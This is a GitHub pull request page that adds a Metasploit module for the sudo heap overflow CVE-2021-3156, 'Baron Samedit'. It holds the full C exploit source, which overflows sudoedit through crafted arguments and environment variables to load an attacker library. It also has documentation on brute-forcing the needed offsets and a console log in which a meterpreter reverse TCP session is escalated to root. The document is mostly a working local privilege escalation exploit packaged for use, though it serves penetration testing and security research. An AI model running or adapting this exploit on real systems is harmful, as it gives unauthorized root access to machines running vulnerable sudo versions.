Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-3156 Sudo LPE (AKA: Baron Samedit) #14715

Merged
merged 9 commits into from
Feb 4, 2021
143 changes: 143 additions & 0 deletions data/exploits/CVE-2021-3156/exploit.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,143 @@
/**
** CVE-2021-3156 PoC by blasty <[email protected]>
** ===========================================
**
** Exploit for that sudo heap overflow thing everyone is talking about.
** This one aims for singleshot. Does not fuck with your system files.
** No warranties.
**
** Shout outs to:
** Qualys - for pumping out the awesome bugs
** lockedbyte - for coop hax. (shared tmux gdb sessions ftw)
** dsc - for letting me rack up his electricity bill
** my wife - for all the quality time we had to skip
**
** Enjoy!
**
** -- blasty // 20210130
**/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>
#include <pty.h>
#include <termios.h>
#include <fcntl.h>
#include <libgen.h>

#include <sys/select.h>
#include <sys/wait.h>

// 512 environment variables should be enough for everyone
#define MAX_ENVP 512
#define SUDOEDIT_PATH "/usr/bin/sudoedit"

typedef struct {
char *target_name;
char *sudoedit_path;
uint32_t smash_len_a;
uint32_t smash_len_b;
uint32_t null_stomp_len;
uint32_t lc_all_len;
} target_t;

/* main from: https://github.com/blasty/CVE-2021-3156/blob/main/hax.c */
int exploit(int argc, char *argv[]) {
if (argc != 5) {
return -1;
}

target_t *target = NULL;
target = malloc(sizeof(target_t));
target->target_name = "Manual";
target->sudoedit_path = SUDOEDIT_PATH;
target->smash_len_a = atoi(argv[1]);
target->smash_len_b = atoi(argv[2]);
target->null_stomp_len = atoi(argv[3]);
target->lc_all_len = atoi(argv[4]);

printf(
"using target: %s '%s' (%d, %d, %d, %d)\n",
target->target_name,
target->sudoedit_path,
target->smash_len_a,
target->smash_len_b,
target->null_stomp_len,
target->lc_all_len
);

char *smash_a = calloc(target->smash_len_a + 2, 1);
char *smash_b = calloc(target->smash_len_b + 2, 1);

memset(smash_a, '#', target->smash_len_a);
memset(smash_b, '#', target->smash_len_b);

smash_a[target->smash_len_a] = '\\';
smash_b[target->smash_len_b] = '\\';

char *s_argv[]={
"sudoedit", "-s", smash_a, "\\", smash_b, NULL
};

char *s_envp[MAX_ENVP];
int envp_pos = 0;

for(int i = 0; i < target->null_stomp_len; i++) {
s_envp[envp_pos++] = "\\";
}
s_envp[envp_pos++] = "X/P0P_SH3LLZ_";

char *lc_all = calloc(target->lc_all_len + 16, 1);
strcpy(lc_all, "LC_ALL=C.UTF-8@");
memset(lc_all+15, 'C', target->lc_all_len);

s_envp[envp_pos++] = lc_all;
s_envp[envp_pos++] = NULL;

execve(target->sudoedit_path, s_argv, s_envp);
return 0;
}

int main(int argc, char *argv[]) {
int tty_fd;
pid_t pid = 0;

pid = forkpty(&tty_fd, NULL, NULL, NULL);

if (pid < 0) {
printf("forkpty(3) failed\n");
return -1;
} else if (pid == 0) {
/* need to set the working directory so the payload lib can be loaded from a relative path */
char *path = realpath(argv[0], NULL);
if (path) {
chdir(dirname(path));
free(path);
}

return exploit(argc, argv);
}

for (;;) {
char input;
char output;
fd_set read_fd;

FD_ZERO(&read_fd);
FD_SET(tty_fd, &read_fd);
FD_SET(STDIN_FILENO, &read_fd);

select(tty_fd + 1, &read_fd, NULL, NULL, NULL);

if (FD_ISSET(tty_fd, &read_fd)) {
if (read(tty_fd, &output, 1) != -1)
write(STDOUT_FILENO, &output, 1);
else
break;
}
}
return 0;
}
117 changes: 117 additions & 0 deletions documentation/modules/exploit/linux/local/sudo_baron_samedit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,117 @@
## Vulnerable Application

A heap based buffer overflow exists in the sudo command line utility that can be exploited by a local attacker
to gain elevated privileges. The vulnerability was introduced in July of 2011 and affects version 1.8.2
through 1.8.31p2 as well as 1.9.0 through 1.9.5p1 in their default configurations. The technique used by this
implementation leverages the overflow to overwrite a `service_user` struct in memory to reference an attacker
controlled library which results in it being loaded with the elevated privileges held by sudo.

### Manual Target

The exploit requires a number of lengths / offsets to function correctly. The manual target can be used to specify
these values if they are known. To identify the values, use the `brute.sh` script from the original PoC repository at
[blasty/CVE-2021-3156][1].

On the target system, the rough steps include:

1. Clone the repository, install necessary build tools and GNU parallel (`sudo apt-get install parallel` on Debian-based
systems)
1. Do: `make brute`
1. Do: `./brute.sh ...` with the desired options to bruteforce, (see the [README.md][2])
1. Wait for the bruteforce to complete, hopefully finding a successful option.

Successful results will be written to the `success.txt` file. They will look something like this:

```
** CVE-2021-3156 PoC by blasty <[email protected]>

using target: Manual ['/usr/bin/sudoedit'] (56, 57, 60, 200)
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
```

In this case `56, 57, 60, 200` are the required values.

1. From Metasploit
1. Do: `set TARGET Manual` to specify the manual target
1. Do: `set Lengths 56, 57, 60, 200` to set the explicit lengths (substitute the numbers as necessary)

## Verification Steps
Example steps in this format (is also in the PR):

1. Install the application
1. Start msfconsole
1. Do: `use exploit/linux/local/sudo_baron_samedit`
1. Set the necessary options (target, payload, etc.)
1. Do: `run`

## Options

### WritableDir

A directory where you can write files. The necessary source code will be uploaded and compiled to here, along with the
payload library.

### Lengths
*This is an advanced option.*

The lengths to set as used by the manual target. See the "Manual Target" section.

## Scenarios

### Ubuntu 20.04.1 x64

```
msf6 exploit(multi/ssh/sshexec) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444
[*] 192.168.159.34:22 - Sending stager...
[*] Command Stager progress - 47.24% done (410/868 bytes)
[*] Sending stage (3008420 bytes) to 192.168.159.34
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.34:45494) at 2021-02-03 17:14:42 -0500
[!] Timed out while waiting for command to return
[*] Command Stager progress - 100.00% done (868/868 bytes)

meterpreter > getuid
Server username: smcintyre @ ubuntu (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > sysinfo
Computer : 192.168.159.34
OS : Ubuntu 20.04 (Linux 5.8.0-41-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/ssh/sshexec) > use exploit/linux/local/sudo_baron_samedit
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/sudo_baron_samedit) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/sudo_baron_samedit) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(linux/local/sudo_baron_samedit) > set TARGET 1
TARGET => 1
msf6 exploit(linux/local/sudo_baron_samedit) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. sudo 1.8.31 is a vulnerable build.
[*] Writing '/tmp/CEmBxB3Sec.c' (3666 bytes) ...
[*] Writing '/tmp/libnss_X/P0P_SH3LLZ_ .so.2' (532 bytes) ...
[*] Sending stage (3008420 bytes) to 192.168.159.34
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.34:45496) at 2021-02-03 17:15:29 -0500
[+] Deleted /tmp/CEmBxB3Sec.c
[+] Deleted /tmp/CEmBxB3Sec

meterpreter > getuid
Server username: root @ ubuntu (uid=1000, gid=1000, euid=0, egid=0)
meterpreter > sysinfo
Computer : 192.168.159.34
OS : Ubuntu 20.04 (Linux 5.8.0-41-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

[1]: https://github.com/blasty/CVE-2021-3156
[2]: https://github.com/blasty/CVE-2021-3156/blob/da68f7c1a2961595a3226b903f1fc180b8824255/README.md#bruteforce-target-finding-experimental
2 changes: 1 addition & 1 deletion lib/msf/core/opt_base.rb
Original file line number Diff line number Diff line change
Expand Up @@ -119,7 +119,7 @@ def valid?(value, check_empty: true)
# required variable not set
return false if (value.nil? || value.to_s.empty?)
end
if regex
if regex && !value.nil?
return !!value.match(regex)
end
true
Expand Down
9 changes: 6 additions & 3 deletions lib/msf/core/post/linux/compile.rb
Original file line number Diff line number Diff line change
Expand Up @@ -15,14 +15,14 @@ def initialize(info = {})
end

def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
return false unless %w{ Auto True }.include?(datastore['COMPILE'])

if has_gcc?
vprint_good 'gcc is installed'
return true
end

unless datastore['COMPILE'].eql? 'Auto'
unless datastore['COMPILE'] == 'Auto'
fail_with Module::Failure::BadConfig, 'gcc is not installed. Set COMPILE False to upload a pre-compiled executable.'
end
end
Expand All @@ -44,7 +44,10 @@ def upload_and_compile(path, data, gcc_args='')

unless output.blank?
print_error output
fail_with Module::Failure::BadConfig, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
message = "#{path}.c failed to compile."
# don't mention the COMPILE option if it was deregistered
message << ' Set COMPILE to False to upload a pre-compiled executable.' if options.include?('COMPILE')
fail_with Module::Failure::BadConfig, message
end

chmod path
Expand Down
Loading